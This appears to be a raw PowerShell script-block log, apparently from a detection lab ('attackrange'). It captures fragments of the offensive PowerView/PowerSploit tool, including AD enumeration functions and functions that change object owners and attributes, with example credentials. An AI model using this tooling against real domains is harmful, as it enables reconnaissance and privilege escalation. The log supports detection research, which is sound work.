'GroupMemberOf' $Null $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') $GroupsXML } } } catch { Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-DomainGPO { <# .SYNOPSIS Return all GPOs or specific GPO objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all GPO objects for the current domain are returned. To enumerate all GPOs that are applied to a particular machine, use -ComputerName X. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ComputerIdentity Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). .PARAMETER UserIdentity Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGPO -Domain testlab.local Return all GPOs for the testlab.local domain .EXAMPLE Get-DomainGPO -ComputerName windows1.testlab.local Returns all GPOs applied windows1.testlab.local .EXAMPLE "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display name of "Test GPO" .EXAMPLE Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPO -Credential $Cred .OUTPUTS PowerView.GPO Custom PSObject with translated GPO property fields. PowerView.GPO.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GPO')] [OutputType('PowerView.GPO.Raw')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Parameter(ParameterSetName = 'ComputerIdentity')] [Alias('ComputerName')] [ValidateNotNullOrEmpty()] [String] $ComputerIdentity, [Parameter(ParameterSetName = 'UserIdentity')] [Alias('UserName')] [ValidateNotNullOrEmpty()] [String] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715319Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2455yIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } } } } function Get-DomainOU { <# .SYNOPSIS Search for all organization units (OUs) or specific OU objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. .PARAMETER Identity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. .PARAMETER GPLink Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER FindOne Only return one result object. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainOU Returns the current OUs in the domain. .EXAMPLE Get-DomainOU *admin* -Domain testlab.local Returns all OUs with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all OUs with linked to the specified group policy object. .EXAMPLE "*admin*","*server*" | Get-DomainOU Search for OUs with the specific names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainOU -Credential $Cred .OUTPUTS PowerView.OU Custom PSObject with translated OU property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.OU')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OUSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($OUSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $OUSearcher = Get-DomainSearcher @SearcherArguments if (-not $OUSearcher) { Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $OU = $_ } else { $OU = Convert-LDAPProperty -Properties $_.Properties } $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" } } $OUSearcher.dispose() } } } function Get-DomainSite { <# .SYNOPSIS Search for all sites or specific site objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. .PARAMETER Identity An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER GPLink Only return sites with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSite Returns the current sites in the domain. .EXAMPLE Get-DomainSite *admin* -Domain testlab.local Returns all sites with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all sites with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSite -Credential $Cred .OUTPUTS PowerView.Site Custom PSObject with translated site property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Site')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, 38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715315Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2055sControlType } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType } } } } function Set-DomainObjectOwner { <# .SYNOPSIS Modifies the owner for a specified active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Retrieves the Active Directory object specified by -Identity by splatting to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets the object owner to -OwnerIdentity. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the AD object to set the owner for. .PARAMETER OwnerIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the owner to set for -Identity. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y Set the owner of 'dfm' in the current domain to 'harmj0y'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Owner')] [String] $OwnerIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid if ($OwnerSid) { $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid } else { Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" } } PROCESS { if ($OwnerIdentityReference) { $SearcherArguments['Raw'] = $True $SearcherArguments['Identity'] = $Identity # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { try { Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" $Entry = $RawObject.GetDirectoryEntry() $Entry.PsBase.Options.SecurityMasks = 'Owner' $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) $Entry.PsBase.CommitChanges() } catch { Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" } } } } } function Get-DomainObjectAcl { <# .SYNOPSIS Returns the ACLs associated with a specific active directory object. By default the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Sacl Switch. Return the SACL instead of the DACL for the object (default behavior). .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER RightsFilter A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs Get the ACLs for the matt.admin user in the testlab.local domain and resolve relevant GUIDs to their display names. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs Enumerate the ACL permissions for all OUs in the domain. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl Enumerate the SACLs for all OUs in the domain, resolving GUIDs. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $Sacl, [Switch] $ResolveGUIDs, [String] [Alias('Rights')] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } if ($PSBoundParameters['Sacl']) { $SearcherArguments['SecurityMasks'] = 'Sacl' } else { $SearcherArguments['SecurityMasks'] = 'Dacl' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $Searcher = Get-DomainSearcher @SearcherArguments $DomainGUIDMapArguments = @{} if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } # get a GUID -> name mapping if ($PSBoundParameters['ResolveGUIDs']) { $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments } } PROCESS { if ($Searcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSB38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715314Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1955-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['XOR']) { try { $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { $PropertyName = $_.Name $PropertyXorValue = $_.Value Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" $TypeName = $Entry.$PropertyName[0].GetType().name # UAC value references- https://support.microsoft.com/en-us/kb/305144 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue $Entry.$PropertyName = $PropertyValue -as $TypeName } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['Clear']) { try { $PSBoundParameters['Clear'] | ForEach-Object { $PropertyName = $_ Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" $Entry.$PropertyName.clear() } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } } } } function ConvertFrom-LDAPLogonHours { 